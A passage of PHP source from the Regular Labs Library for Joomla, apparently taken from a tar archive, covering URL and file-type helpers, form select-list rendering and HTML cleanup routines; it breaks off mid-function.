return ! (strpos(RegEx::replace('^.*?://', '', $url),
$hostname) === 0);
}
// some/url/to/a/file.ext
// > some/url/to/a
public static function getDirName($url)
{
$url = StringHelper::normalize($url);
return rtrim(dirname($url), '/');
}
// some/url/to/a/file.ext
// > file.ext
public static function getBaseName($url, $lowercase = false)
{
$url = StringHelper::normalize($url);
$basename = ltrim(basename($url), '/');
$parts = explode('?', $basename);
$basename = $parts[0];
if ($lowercase)
{
$basename = strtolower($basename);
}
return $basename;
}
// some/url/to/a/file.ext
// > file
public static function getFileName($url, $lowercase = false)
{
$url = StringHelper::normalize($url);
$info = pathinfo($url);
$filename = isset($info['filename']) ?
$info['filename'] : $url;
if ($lowercase)
{
$filename = strtolower($filename);
}
return $filename;
}
// some/url/to/a/file.ext
// > ext
public static function getExtension($url)
{
$info = pathinfo($url);
if ( ! isset($info['extension']))
{
return '';
}
$ext = explode('?', $info['extension']);
return strtolower($ext[0]);
}
public static function isImage($url)
{
return self::isMedia($url, self::getFileTypes('images'));
}
public static function isVideo($url)
{
return self::isMedia($url, self::getFileTypes('videos'));
}
public static function isExternalVideo($url)
{
return (strpos($url, 'youtu.be') !== false
|| strpos($url, 'youtube.com') !== false
|| strpos($url, 'vimeo.com') !== false
);
}
public static function isDocument($url)
{
return self::isMedia($url, self::getFileTypes('documents'));
}
public static function isMedia($url, $filetypes = [])
{
$filetype = self::getExtension($url);
if ( ! $filetype)
{
return false;
}
if ( ! is_array($filetypes))
{
$filetypes = [$filetypes];
}
if (count($filetypes) == 1 && strpos($filetypes[0],
',') !== false)
{
$filetypes = ArrayHelper::toArray($filetypes[0]);
}
$filetypes = ! empty($filetypes) ? $filetypes : self::getFileTypes();
return in_array($filetype, $filetypes);
}
public static function getFileTypes($type = 'images')
{
switch ($type)
{
case 'image':
case 'images':
return [
'bmp',
'flif',
'gif',
'jpe',
'jpeg',
'jpg',
'png',
'tiff',
'eps',
];
case 'audio':
return [
'aif',
'aiff',
'mp3',
'wav',
];
case 'video':
case 'videos':
return [
'3g2',
'3gp',
'avi',
'divx',
'f4v',
'flv',
'm4v',
'mov',
'mp4',
'mpe',
'mpeg',
'mpg',
'ogv',
'swf',
'webm',
'wmv',
];
case 'document':
case 'documents':
return [
'doc',
'docm',
'docx',
'dotm',
'dotx',
'odb',
'odc',
'odf',
'odg',
'odi',
'odm',
'odp',
'ods',
'odt',
'onepkg',
'onetmp',
'onetoc',
'onetoc2',
'otg',
'oth',
'otp',
'ots',
'ott',
'oxt',
'pdf',
'potm',
'potx',
'ppam',
'pps',
'ppsm',
'ppsx',
'ppt',
'pptm',
'pptx',
'rtf',
'sldm',
'sldx',
'thmx',
'xla',
'xlam',
'xlc',
'xld',
'xll',
'xlm',
'xls',
'xlsb',
'xlsm',
'xlsx',
'xlt',
'xltm',
'xltx',
'xlw',
];
case 'other':
case 'others':
return [
'css',
'csv',
'js',
'json',
'tar',
'txt',
'xml',
'zip',
];
default:
case 'all':
return array_merge(
self::getFileTypes('images'),
self::getFileTypes('audio'),
self::getFileTypes('videos'),
self::getFileTypes('documents'),
self::getFileTypes('other')
);
}
}
}
src/Form.php000064400000040175151165347530006770 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
class Form
{
/**
* Render a full select list
*
* @param array $options
* @param string $name
* @param string $value
* @param string $id
* @param int $size
* @param bool $multiple
* @param bool $simple
* @param bool $readonly
*
* @return string
*/
public static function selectList(&$options, $name, $value, $id, $size
= 0, $multiple = false, $simple = false, $readonly = false)
{
if (empty($options))
{
return '<fieldset class="radio">' .
JText::_('RL_NO_ITEMS_FOUND') . '</fieldset>';
}
if ( ! $multiple)
{
$simple = true;
}
$parameters = Parameters::getInstance();
$params = $parameters->getPluginParams('regularlabs');
if ( ! is_array($value))
{
$value = explode(',', $value);
}
if (count($value) === 1 && strpos($value[0], ',') !==
false)
{
$value = explode(',', $value[0]);
}
$count = 0;
if ($options != -1)
{
foreach ($options as $option)
{
$count++;
if (isset($option->links))
{
$count += count($option->links);
}
if ($count > $params->max_list_count)
{
break;
}
}
}
if ($options == -1 || $count > $params->max_list_count)
{
if (is_array($value))
{
$value = implode(',', $value);
}
if ( ! $value)
{
$input = '<textarea name="' . $name . '"
id="' . $id . '" cols="40"
rows="5">' . $value . '</textarea>';
}
else
{
$input = '<input type="text" name="' .
$name . '" id="' . $id . '"
value="' . $value . '" size="60">';
}
$plugin = JPluginHelper::getPlugin('system',
'regularlabs');
$url = ! empty($plugin->id)
?
'index.php?option=com_plugins&task=plugin.edit&extension_id='
. $plugin->id
:
'index.php?option=com_plugins&filter_folder=&filter_search=Regular%20Labs%20Library';
$label = JText::_('RL_ITEM_IDS');
$text = JText::_('RL_MAX_LIST_COUNT_INCREASE');
$tooltip = JText::_('RL_MAX_LIST_COUNT_INCREASE_DESC,' .
$params->max_list_count . ',RL_MAX_LIST_COUNT');
$link = '<a href="' . $url . '"
target="_blank" id="' . $id . '_msg"'
. ' class="hasPopover" title="' . $text .
'" data-content="' . htmlentities($tooltip) .
'">'
. '<span class="icon icon-cog"></span>'
. $text
. '</a>';
$script = 'jQuery("#' . $id .
'_msg").popover({"html": true,"trigger":
"hover focus","container": "body"})';
return '<fieldset class="radio">'
. '<label for="' . $id . '">' .
$label . ':</label>'
. $input
. '<br><small>' . $link .
'</small>'
. '</fieldset>'
. '<script>' . $script . '</script>';
}
if ($simple)
{
$first_level = isset($options[0]->level) ? $options[0]->level : 0;
foreach ($options as &$option)
{
if ( ! isset($option->level))
{
continue;
}
$repeat = ($option->level - $first_level > 0) ? $option->level
- $first_level : 0;
if ( ! $repeat)
{
continue;
}
//$option->text = str_repeat(' - ', $repeat) .
$option->text;
$option->text = '[[:padding-left: ' . (5 + ($repeat * 15))
. 'px;:]]' . $option->text;
}
}
if ( ! $multiple)
{
$attr = 'class="inputbox"';
if ($readonly)
{
$attr .= ' readonly="readonly"';
}
if (is_array(reset($options)) &&
isset(reset($options)['items']))
{
return JHtml::_(
'select.groupedlist', $options, $name,
[
'id' => $id,
'group.id' => 'id',
'list.attr' => $attr,
'list.select' => $value,
]
);
}
$html = JHtml::_('select.genericlist', $options, $name, $attr,
'value', 'text', $value, $id);
return self::handlePreparedStyles($html);
}
$size = (int) $size ?: 300;
if ($simple)
{
$attr = 'style="width: ' . $size . 'px"
multiple="multiple"';
if ($readonly)
{
$attr .= ' readonly="readonly"';
}
if (substr($name, -2) !== '[]')
{
$name .= '[]';
}
if (is_array(reset($options)) &&
isset(reset($options)['items']))
{
return JHtml::_(
'select.groupedlist', $options, $name,
[
'id' => $id,
'group.id' => 'id',
'list.attr' => trim($attr),
'list.select' => $value,
]
);
}
$html = JHtml::_('select.genericlist', $options, $name,
trim($attr), 'value', 'text', $value, $id);
return self::handlePreparedStyles($html);
}
Language::load('com_modules', JPATH_ADMINISTRATOR);
Document::script('regularlabs/multiselect.min.js');
Document::stylesheet('regularlabs/multiselect.min.css');
$count_total = self::getOptionsCount($options);
$count_selected = count($value);
$has_nested = $count_total > count($options);
$html = [];
$html[] = '<div class="well well-small rl_multiselect"
id="' . $id . '">';
$html[] = '<div class="form-inline
rl_multiselect-controls">';
$html[] = '<span class="small">' .
JText::_('JSELECT') . ':
<a class="rl_multiselect-checkall"
href="javascript:;">' . JText::_('JALL') .
'</a>
<span class="ghosted">[' . $count_total .
']</span>,
<a class="rl_multiselect-uncheckall"
href="javascript:;">' . JText::_('JNONE') .
'</a>,
<a class="rl_multiselect-toggleall"
href="javascript:;">' . JText::_('RL_TOGGLE') .
'</a>
</span>';
$html[] = '<span> | </span>';
if ($has_nested)
{
$html[] = '<span class="small">' .
JText::_('RL_EXPAND') . ':
<a class="rl_multiselect-expandall"
href="javascript:;">' . JText::_('JALL') .
'</a>,
<a class="rl_multiselect-collapseall"
href="javascript:;">' . JText::_('JNONE') .
'</a>
</span>';
$html[] = '<span> | </span>';
}
$html[] = '<span class="small">' .
JText::_('JSHOW') . ':
<a class="rl_multiselect-showall"
href="javascript:;">' . JText::_('JALL') .
'</a>
<span class="ghosted">[' . $count_total .
']</span>,
<a class="rl_multiselect-showselected"
href="javascript:;">' . JText::_('RL_SELECTED')
. '</a>
<span class="ghosted">[<span
class="rl_multiselect-count-selected">' . $count_selected
. '</span>]</span>
</span>';
$html[] = '<span class="rl_multiselect-maxmin">
<span> | </span>
<span class="small">
<a class="rl_multiselect-maximize"
href="javascript:;">' . JText::_('RL_MAXIMIZE')
. '</a>
<a class="rl_multiselect-minimize"
style="display:none;" href="javascript:;">' .
JText::_('RL_MINIMIZE') . '</a>
</span>
</span>';
$html[] = '<input type="text"
name="rl_multiselect-filter" class="rl_multiselect-filter
input-medium search-query pull-right" size="16"
autocomplete="off" placeholder="' .
JText::_('JSEARCH_FILTER') . '"
aria-invalid="false" tabindex="-1">';
$html[] = '</div>';
$html[] = '<hr class="hr-condensed">';
$o = [];
foreach ($options as $option)
{
$option->level = isset($option->level) ? $option->level : 0;
$o[] = $option;
if (isset($option->links))
{
foreach ($option->links as $link)
{
$link->level = $option->level + (isset($link->level) ?
$link->level : 1);
$o[] = $link;
}
}
}
$html[] = '<ul class="rl_multiselect-ul"
style="max-height:300px;min-width:' . $size .
'px;overflow-x: hidden;">';
$prevlevel = 0;
foreach ($o as $i => $option)
{
if ($prevlevel < $option->level)
{
// correct wrong level indentations
$option->level = $prevlevel + 1;
$html[] = '<ul class="rl_multiselect-sub">';
}
else if ($prevlevel > $option->level)
{
$html[] = str_repeat('</li></ul>', $prevlevel -
$option->level);
}
else if ($i)
{
$html[] = '</li>';
}
$labelclass = trim('pull-left ' .
(isset($option->labelclass) ? $option->labelclass : ''));
$html[] = '<li>';
$item = '<div class="' .
trim('rl_multiselect-item pull-left ' . (isset($option->class)
? $option->class : '')) . '">';
if (isset($option->title))
{
$labelclass .= ' nav-header';
}
if (isset($option->title) && ( ! isset($option->value) ||
! $option->value))
{
$item .= '<label class="' . $labelclass .
'">' . $option->title . '</label>';
}
else
{
$selected = in_array($option->value, $value) ? '
checked="checked"' : '';
$disabled = (isset($option->disable) && $option->disable)
? ' disabled="disabled"' : '';
if (empty($option->hide_select))
{
$item .= '<input type="checkbox"
class="pull-left" name="' . $name . '"
id="' . $id . $option->value . '" value="'
. $option->value . '"' . $selected . $disabled .
'>';
}
$item .= '<label for="' . $id . $option->value .
'" class="' . $labelclass . '">' .
$option->text . '</label>';
}
$item .= '</div>';
$html[] = $item;
if ( ! isset($o[$i + 1]) && $option->level > 0)
{
$html[] = str_repeat('</li></ul>', (int)
$option->level);
}
$prevlevel = $option->level;
}
$html[] = '</ul>';
$html[] = '
<div style="display:none;"
class="rl_multiselect-menu-block">
<div class="pull-left nav-hover rl_multiselect-menu">
<div class="btn-group">
<a href="#" data-toggle="dropdown"
class="dropdown-toggle btn btn-micro">
<span class="caret"></span>
</a>
<ul class="dropdown-menu">
<li class="nav-header">' .
JText::_('COM_MODULES_SUBITEMS') . '</li>
<li class="divider"></li>
<li class=""><a class="checkall"
href="javascript:;"><span
class="icon-checkbox"></span> ' .
JText::_('JSELECT') . '</a>
</li>
<li><a class="uncheckall"
href="javascript:;"><span
class="icon-checkbox-unchecked"></span> ' .
JText::_('COM_MODULES_DESELECT') . '</a>
</li>
<div class="rl_multiselect-menu-expand">
<li class="divider"></li>
<li><a class="expandall"
href="javascript:;"><span
class="icon-plus"></span> ' .
JText::_('RL_EXPAND') . '</a></li>
<li><a class="collapseall"
href="javascript:;"><span
class="icon-minus"></span> ' .
JText::_('RL_COLLAPSE') . '</a></li>
</div>
</ul>
</div>
</div>
</div>';
$html[] = '</div>';
$html = implode('', $html);
return self::handlePreparedStyles($html);
}
public static function getOptionsCount($options)
{
$count = 0;
foreach ($options as $option)
{
$count++;
if ( ! empty($option->links))
{
$count += self::getOptionsCount($option->links);
}
}
return $count;
}
/**
* Render a simple select list
*
* @param array $options
* @param $string $name
* @param string $value
* @param string $id
* @param int $size
* @param bool $multiple
* @param bool $readonly
*
* @return string
*/
public static function selectListSimple(&$options, $name, $value, $id,
$size = 0, $multiple = false, $readonly = false)
{
return self::selectlist($options, $name, $value, $id, $size, $multiple,
true, $readonly);
}
/**
* Render a select list loaded via Ajax
*
* @param string $field
* @param string $name
* @param string $value
* @param string $id
* @param array $attributes
* @param bool $simple
*
* @return string
*/
public static function selectListAjax($field, $name, $value, $id,
$attributes = [], $simple = false)
{
JHtml::_('jquery.framework');
$script = self::getAddToLoadAjaxListScript($field, $name, $value, $id,
$attributes, $simple);
if (is_array($value))
{
$value = implode(',', $value);
}
Document::script('regularlabs/script.min.js');
Document::stylesheet('regularlabs/style.min.css');
$input = '<textarea name="' . $name . '"
id="' . $id . '" cols="40"
rows="5">' . $value . '</textarea>'
. '<div id="' . $id . '_spinner"
class="rl_spinner"></div>';
return $input . $script;
}
public static function getAddToLoadAjaxListScript($field, $name, $value,
$id, $attributes = [], $simple = false)
{
$attributes['field'] = $field;
$attributes['name'] = $name;
$attributes['value'] = $value;
$attributes['id'] = $id;
$url =
'index.php?option=com_ajax&plugin=regularlabs&format=raw'
. '&' .
Uri::createCompressedAttributes(json_encode($attributes));
$remove_spinner = "$('#" . $id .
"_spinner').remove();";
$replace_field = "$('#" . $id .
"').replaceWith(data);";
$init_chosen = 'document.getElementById("' . $id .
'") && document.getElementById("' . $id .
'").nodeName == "SELECT" && $("#' .
$id . '").chosen();';
$success = $replace_field;
if ($simple)
{
$success .= $init_chosen;
}
else
{
Document::script('regularlabs/multiselect.min.js');
Document::stylesheet('regularlabs/multiselect.min.css');
$success .= "if(data.indexOf('rl_multiselect') >
-1)\{RegularLabsMultiSelect.init($('#" . $id . "'));\}
else { " . $init_chosen . "}";
}
// $success .= "console.log('#" . $id .
"');";
// $success .= "console.log(data);";
$error = $remove_spinner;
$success = "if(data)\{" . $success . "\}" .
$remove_spinner;
$script = "jQuery(document).ready(function() {"
. "RegularLabsScripts.addToLoadAjaxList("
. "'" . addslashes($url) . "',"
. "'" . addslashes($success) . "',"
. "'" . addslashes($error) . "'"
. ")"
. "});";
return '<script>' . $script .
'</script>';
}
/**
* Render a simple select list loaded via Ajax
*
* @param string $field
* @param string $name
* @param string $value
* @param string $id
* @param array $attributes
*
* @return string
*/
public static function selectListSimpleAjax($field, $name, $value, $id,
$attributes = [])
{
return self::selectListAjax($field, $name, $value, $id, $attributes,
true);
}
/**
* Prepare the string for a select form field item
*
* @param string $string
* @param int $published
* @param string $type
* @param int $remove_first
*
* @return string
*/
public static function prepareSelectItem($string, $published = 1, $type =
'', $remove_first = 0)
{
if (empty($string))
{
return '';
}
$string = str_replace([' ', ' '],
' ', $string);
$string = RegEx::replace('- ', ' ', $string);
for ($i = 0; $remove_first > $i; $i++)
{
$string = RegEx::replace('^ ', '', $string,
'');
}
if (RegEx::match('^( *)(.*)$', $string, $match, ''))
{
list($string, $pre, $name) = $match;
$pre = str_replace(' ', ' · ', $pre);
$pre = RegEx::replace('(( · )*) · ', '\1 » ',
$pre);
$pre = str_replace(' ', ' ', $pre);
$string = $pre . $name;
}
switch (true)
{
case ($type == 'separator'):
$string =
'[[:font-weight:normal;font-style:italic;color:grey;:]]' .
$string;
break;
case ($published == -2):
$string = '[[:font-style:italic;color:grey;:]]' . $string .
' [' . JText::_('JTRASHED') . ']';
break;
case ($published == 0):
$string = '[[:font-style:italic;color:grey;:]]' . $string .
' [' . JText::_('JUNPUBLISHED') . ']';
break;
case ($published == 2):
$string = '[[:font-style:italic;:]]' . $string . '
[' . JText::_('JARCHIVED') . ']';
break;
}
return $string;
}
/**
* Replace style placeholders with actual style attributes
*
* @param string $string
*
* @return string
*/
private static function handlePreparedStyles($string)
{
// No placeholders found
if (strpos($string, '[[:') === false)
{
return $string;
}
// Doing following replacement in 3 steps to prevent the Regular
Expressions engine from exploding
// Replace style tags right after the html tags
$string = RegEx::replace(
';?:\]\]\s*\[\[:',
';',
$string
);
$string = RegEx::replace(
'>\s*\[\[\:(.*?)\:\]\]',
' style="\1">',
$string
);
// No more placeholders found
if (strpos($string, '[[:') === false)
{
return $string;
}
// Replace style tags prepended with a minus and any amount of
whitespace: '- '
$string = RegEx::replace(
'>((?:-\s*)+)\[\[\:(.*?)\:\]\]',
' style="\2">\1',
$string
);
// No more placeholders found
if (strpos($string, '[[:') === false)
{
return $string;
}
// Replace style tags prepended with whitespace, a minus and any amount
of whitespace: ' - '
$string = RegEx::replace(
'>((?:\s+-\s*)+)\[\[\:(.*?)\:\]\]',
' style="\2">\1',
$string
);
return $string;
}
}
src/Html.php000064400000050112151165347530006761 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
namespace RegularLabs\Library;
defined('_JEXEC') or die;
use DOMDocument;
/**
* Class Html
* @package RegularLabs\Library
*/
class Html
{
/**
* Convert content saved in a WYSIWYG editor to plain text (like removing
html tags)
*
* @param $string
*
* @return string
*/
public static function convertWysiwygToPlainText($string)
{
// replace chr style enters with normal enters
$string = str_replace([chr(194) . chr(160), ' ',
' '], ' ', $string);
// replace linebreak tags with normal linebreaks (paragraphs, enters,
etc).
$enter_tags = ['p', 'br'];
$regex = '</?((' . implode(')|(',
$enter_tags) . '))+[^>]*?>\n?';
$string = RegEx::replace($regex, " \n", $string);
// replace indent characters with spaces
$string = RegEx::replace('<img
[^>]*/sourcerer/images/tab\.png[^>]*>', ' ',
$string);
// strip all other tags
$regex =
'<(/?\w+((\s+\w+(\s*=\s*(?:".*?"|\'.*?\'|[^\'">\s]+))?)+\s*|\s*)/?)>';
$string = RegEx::replace($regex, '', $string);
// reset htmlentities
$string = StringHelper::html_entity_decoder($string);
// convert protected html entities &_...; -> &...;
$string = RegEx::replace('&_([a-z0-9\#]+?);',
'&\1;', $string);
return $string;
}
/**
* Extract the <body>...</body> part from an entire html
output string
*
* @param string $html
*
* @return array
*/
public static function getBody($html, $include_body_tag = true)
{
if (strpos($html, '<body') === false || strpos($html,
'</body>') === false)
{
return ['', $html, ''];
}
// Force string to UTF-8
$html = StringHelper::convertToUtf8($html);
$split = explode('<body', $html, 2);
$pre = $split[0];
$split = explode('>', $split[1], 2);
$body_start = '<body' . $split[0] . '>';
$body_end = '</body>';
$split = explode('</body>', $split[1]);
$post = array_pop($split);
$body = implode('</body>', $split);
if ( ! $include_body_tag)
{
return [
$pre . $body_start,
$body,
$body_end . $post,
];
}
return [
$pre,
$body_start . $body . $body_end,
$post,
];
}
/**
* Search the string for the start and end searches and split the string
in a pre, body and post part
* This is used to be able to do replacements on the body part, which will
be lighter than doing it on the entire string
*
* @param string $string
* @param array $start_searches
* @param array $end_searches
* @param int $start_offset
* @param null $end_offset
*
* @return array
*/
public static function getContentContainingSearches($string,
$start_searches = [], $end_searches = [], $start_offset = 1000, $end_offset
= null)
{
// String is too short to split and search through
if (strlen($string) < 2000)
{
return ['', $string, ''];
}
$end_offset = is_null($end_offset) ? $start_offset : $end_offset;
$found = false;
$start_split = strlen($string);
foreach ($start_searches as $search)
{
$pos = strpos($string, $search);
if ($pos === false)
{
continue;
}
$start_split = min($start_split, $pos);
$found = true;
}
// No searches are found
if ( ! $found)
{
return [$string, '', ''];
}
// String is too short to split
if (strlen($string) < ($start_offset + $end_offset + 1000))
{
return ['', $string, ''];
}
$start_split = max($start_split - $start_offset, 0);
$pre = substr($string, 0, $start_split);
$string = substr($string, $start_split);
self::fixBrokenTagsByPreString($pre, $string);
if (empty($end_searches))
{
$end_searches = $start_searches;
}
$end_split = 0;
$found = false;
foreach ($end_searches as $search)
{
$pos = strrpos($string, $search);
if ($pos === false)
{
continue;
}
$end_split = max($end_split, $pos + strlen($search));
$found = true;
}
// No end split is found, so don't split remainder
if ( ! $found)
{
return [$pre, $string, ''];
}
$end_split = min($end_split + $end_offset, strlen($string));
$post = substr($string, $end_split);
$string = substr($string, 0, $end_split);
self::fixBrokenTagsByPostString($post, $string);
return [$pre, $string, $post];
}
/**
* Check if string contains block elements
*
* @param string $string
*
* @return string
*/
public static function containsBlockElements($string)
{
return RegEx::match('</?(' . implode('|',
self::getBlockElements()) . ')(?: [^>]*)?>', $string);
}
/**
* Fix broken/invalid html syntax in a string
*
* @param string $string
*
* @return string
*/
public static function fix($string)
{
if ( ! self::containsBlockElements($string))
{
return $string;
}
// Convert utf8 characters to html entities
if (function_exists('mb_convert_encoding'))
{
$string = mb_convert_encoding($string, 'html-entities',
'utf-8');
}
$string = self::protectSpecialCode($string);
$string = self::convertDivsInsideInlineElementsToSpans($string);
$string = self::removeParagraphsAroundBlockElements($string);
$string = self::removeInlineElementsAroundBlockElements($string);
$string = self::fixParagraphsAroundParagraphElements($string);
$string = class_exists('DOMDocument')
? self::fixUsingDOMDocument($string)
: self::fixUsingCustomFixer($string);
$string = self::unprotectSpecialCode($string);
// Convert html entities back to utf8 characters
if (function_exists('mb_convert_encoding'))
{
// Make sure < and > don't get converted
$string = str_replace(['<', '>'],
['&lt;', '&gt;'], $string);
$string = mb_convert_encoding($string, 'utf-8',
'html-entities');
}
$string = self::removeParagraphsAroundComments($string);
return $string;
}
/**
* Fix broken/invalid html syntax in an array of strings
*
* @param array $array
*
* @return array
*/
public static function fixArray($array)
{
$splitter = ':|:';
$string = self::fix(implode($splitter, $array));
$parts = self::removeEmptyTags(explode($splitter, $string));
// use original keys but new values
return array_combine(array_keys($array), $parts);
}
/**
* Removes empty tags which span concatenating parts in the array
*
* @param array $array
*
* @return array
*/
public static function removeEmptyTags($array)
{
$splitter = ':|:';
$comments = '(?:\s*<\!--[^>]*-->\s*)*';
$string = implode($splitter, $array);
Protect::protectHtmlCommentTags($string);
$string = RegEx::replace(
'<([a-z][a-z0-9]*)(?: [^>]*)?>\s*(' . $comments .
RegEx::quote($splitter) . $comments . ')\s*</\1>',
'\2',
$string
);
Protect::unprotect($string);
return explode($splitter, $string);
}
/**
* Fix broken/invalid html syntax in a string using php DOMDocument
functionality
*
* @param string $string
*
* @return mixed
*/
private static function fixUsingDOMDocument($string)
{
$doc = new DOMDocument;
$doc->substituteEntities = false;
list($pre, $body, $post) = Html::getBody($string, false);
// Add temporary document structures
$body = '<html><body><div>' . $body .
'</div></body></html>';
@$doc->loadHTML($body);
$body = $doc->saveHTML();
if (strpos($doc->documentElement->textContent, 'Ã') !==
false)
{
// Need to do this utf8 workaround to deal with special characters
// DOMDocument doesn't seem to deal with them very well
// See:
https://stackoverflow.com/questions/8218230/php-domdocument-loadhtml-not-encoding-utf-8-correctly/47396055#47396055
$body = utf8_decode($doc->saveHTML($doc->documentElement));
}
// Remove temporary document structures and surrounding div
$body =
RegEx::replace('^.*?<html>.*?(?:<head>(.*)</head>.*?)?<body>\s*<div>(.*)</div>\s*</body>.*?$',
'\1\2', $body);
// Remove leading/trailing empty paragraph
$body =
RegEx::replace('(^\s*<div>\s*</div>|<div>\s*</div>\s*$)',
'', $body);
// Remove leading/trailing empty paragraph
$body =
RegEx::replace('(^\s*<div>\s*</div>|<div>\s*</div>\s*$)',
'', $body);
// Remove leading/trailing empty paragraph
$body = RegEx::replace('(^\s*<p(?:
[^>]*)?>\s*</p>|<p(?:
[^>]*)?>\s*</p>\s*$)', '', $body);
return $pre . $body . $post;
}
/**
* Fix broken/invalid html syntax in a string using custom code as an
alternative to php DOMDocument functionality
*
* @param string $string
*
* @return string
*/
private static function fixUsingCustomFixer($string)
{
$block_regex = '<(' . implode('|',
self::getBlockElementsNoDiv()) . ')[\s>]';
$string = RegEx::replace('(' . $block_regex . ')',
'[:SPLIT-BLOCK:]\1', $string);
$parts = explode('[:SPLIT-BLOCK:]', $string);
foreach ($parts as $i => &$part)
{
if ( ! RegEx::match('^' . $block_regex, $part, $type))
{
continue;
}
$type = strtolower($type[1]);
// remove endings of other block elements
$part = RegEx::replace('</(?:' . implode('|',
self::getBlockElementsNoDiv($type)) . ')>', '',
$part);
if (strpos($part, '</' . $type . '>') !==
false)
{
continue;
}
// Add ending tag once
$part = RegEx::replaceOnce('(\s*)$', '</' . $type
. '>\1', $part);
// Remove empty block tags
$part = RegEx::replace('^<' . $type . '(?:
[^>]*)?>\s*</' . $type . '>', '',
$part);
}
return implode('', $parts);
}
/**
* Removes complete html tag pairs from the concatenated parts
*
* @param array $parts
* @param array $elements
*
* @return array
*/
public static function cleanSurroundingTags($parts, $elements =
['p', 'span'])
{
$breaks = '(?:(?:<br
?/?>|<\!--[^>]*-->|:\|:)\s*)*';
$keys = array_keys($parts);
$string = implode(':|:', $parts);
Protect::protectHtmlCommentTags($string);
// Remove empty tags
$regex = '<(' . implode('|', $elements) .
')(?: [^>]*)?>\s*(' . $breaks .
')<\/\1>\s*';
while (RegEx::match($regex, $string, $match))
{
$string = str_replace($match[0], $match[2], $string);
}
// Remove paragraphs around block elements
$block_elements = [
'p', 'div',
'table', 'tr', 'td', 'thead',
'tfoot',
'h[1-6]',
];
$block_elements = '(' . implode('|', $block_elements)
. ')';
$regex = '(<p(?: [^>]*)?>)(\s*' . $breaks .
')(<' . $block_elements . '(?: [^>]*)?>)';
while (RegEx::match($regex, $string, $match))
{
if ($match[4] == 'p')
{
$match[3] = $match[1] . $match[3];
self::combinePTags($match[3]);
}
$string = str_replace($match[0], $match[2] . $match[3], $string);
}
$regex = '(</' . $block_elements . '>\s*' .
$breaks . ')</p>';
while (RegEx::match($regex, $string, $match))
{
$string = str_replace($match[0], $match[1], $string);
}
Protect::unprotect($string);
$parts = explode(':|:', $string);
$new_tags = [];
foreach ($parts as $key => $val)
{
$key = isset($keys[$key]) ? $keys[$key] : $key;
$new_tags[$key] = $val;
}
return $new_tags;
}
/**
* Remove <p> tags around block elements
*
* @param string $string
*
* @return mixed
*/
private static function removeParagraphsAroundBlockElements($string)
{
if (strpos($string, '</p>') == false)
{
return $string;
}
Protect::protectHtmlCommentTags($string);
$string = RegEx::replace(
'<p(?: [^>]*)?>\s*'
. '((?:<\!--[^>]*-->\s*)*</?(?:' .
implode('|', self::getBlockElements()) . ')' .
'(?: [^>]*)?>)',
'\1',
$string
);
$string = RegEx::replace(
'(</?(?:' . implode('|',
self::getBlockElements()) . ')' . '(?:
[^>]*)?>(?:\s*<\!--[^>]*-->)*)'
. '(?:\s*</p>)',
'\1',
$string
);
Protect::unprotect($string);
return $string;
}
/**
* Remove <p> tags around comments
*
* @param string $string
*
* @return mixed
*/
private static function removeParagraphsAroundComments($string)
{
if (strpos($string, '</p>') == false)
{
return $string;
}
Protect::protectHtmlCommentTags($string);
$string = RegEx::replace(
'(?:<p(?: [^>]*)?>\s*)'
. '(<\!--[^>]*-->)'
. '(?:\s*</p>)',
'\1',
$string
);
Protect::unprotect($string);
return $string;
}
/**
* Fix <p> tags around other <p> elements
*
* @param string $string
*
* @return mixed
*/
private static function fixParagraphsAroundParagraphElements($string)
{
if (strpos($string, '</p>') == false)
{
return $string;
}
$parts = explode('</p>', $string);
$ending = '</p>' . array_pop($parts);
foreach ($parts as &$part)
{
if (strpos($part, '<p>') === false &&
strpos($part, '<p ') === false)
{
$part = '<p>' . $part;
continue;
}
$part = RegEx::replace(
'(<p(?: [^>]*)?>.*?)(<p(?: [^>]*)?>)',
'\1</p>\2',
$part
);
}
return implode('</p>', $parts) . $ending;
}
/*
* Remove empty tags
*
* @param string $string
* @param array $elements
*
* @return mixed
*/
public static function removeEmptyTagPairs($string, $elements =
['p', 'span'])
{
$breaks = '(?:(?:<br ?/?>|<\!--[^>]*-->)\s*)*';
$regex = '<(' . implode('|', $elements) .
')(?: [^>]*)?>\s*(' . $breaks .
')<\/\1>\s*';
Protect::protectHtmlCommentTags($string);
while (RegEx::match($regex, $string, $match))
{
$string = str_replace($match[0], $match[2], $string);
}
Protect::unprotect($string);
return $string;
}
/**
* Convert <div> tags inside inline elements to <span> tags
*
* @param string $string
*
* @return mixed
*/
private static function convertDivsInsideInlineElementsToSpans($string)
{
if (strpos($string, '</div>') == false)
{
return $string;
}
// Ignore block elements inside anchors
$regex = '<(' . implode('|',
self::getInlineElementsNoAnchor()) . ')(?:
[^>]*)?>.*?</\1>';
RegEx::matchAll($regex, $string, $matches, '',
PREG_PATTERN_ORDER);
if (empty($matches))
{
return $string;
}
$matches = array_unique($matches[0]);
$searches = [];
$replacements = [];
foreach ($matches as $match)
{
if (strpos($match, '</div>') === false)
{
continue;
}
$searches[] = $match;
$replacements[] = str_replace(
['<div>', '<div ',
'</div>'],
['<span>', '<span ',
'</span>'],
$match
);
}
if (empty($searches))
{
return $string;
}
return str_replace($searches, $replacements, $string);
}
/**
* Combine duplicate <p> tags
* input: <p class="aaa" a="1"><!-- ...
--><p class="bbb" b="2">
* output: <p class="aaa bbb" a="1"
b="2"><!-- ... -->
*
* @param $string
*/
public static function combinePTags(&$string)
{
if (empty($string))
{
return;
}
$p_start_tag = '<p(?: [^>]*)?>';
$optional_tags =
'\s*(?:<\!--[^>]*-->| |&\#160;)*\s*';
Protect::protectHtmlCommentTags($string);
RegEx::matchAll('(' . $p_start_tag . ')(' .
$optional_tags . ')(' . $p_start_tag . ')', $string,
$tags);
if (empty($tags))
{
Protect::unprotect($string);
return;
}
foreach ($tags as $tag)
{
$string = str_replace($tag[0], $tag[2] . HtmlTag::combine($tag[1],
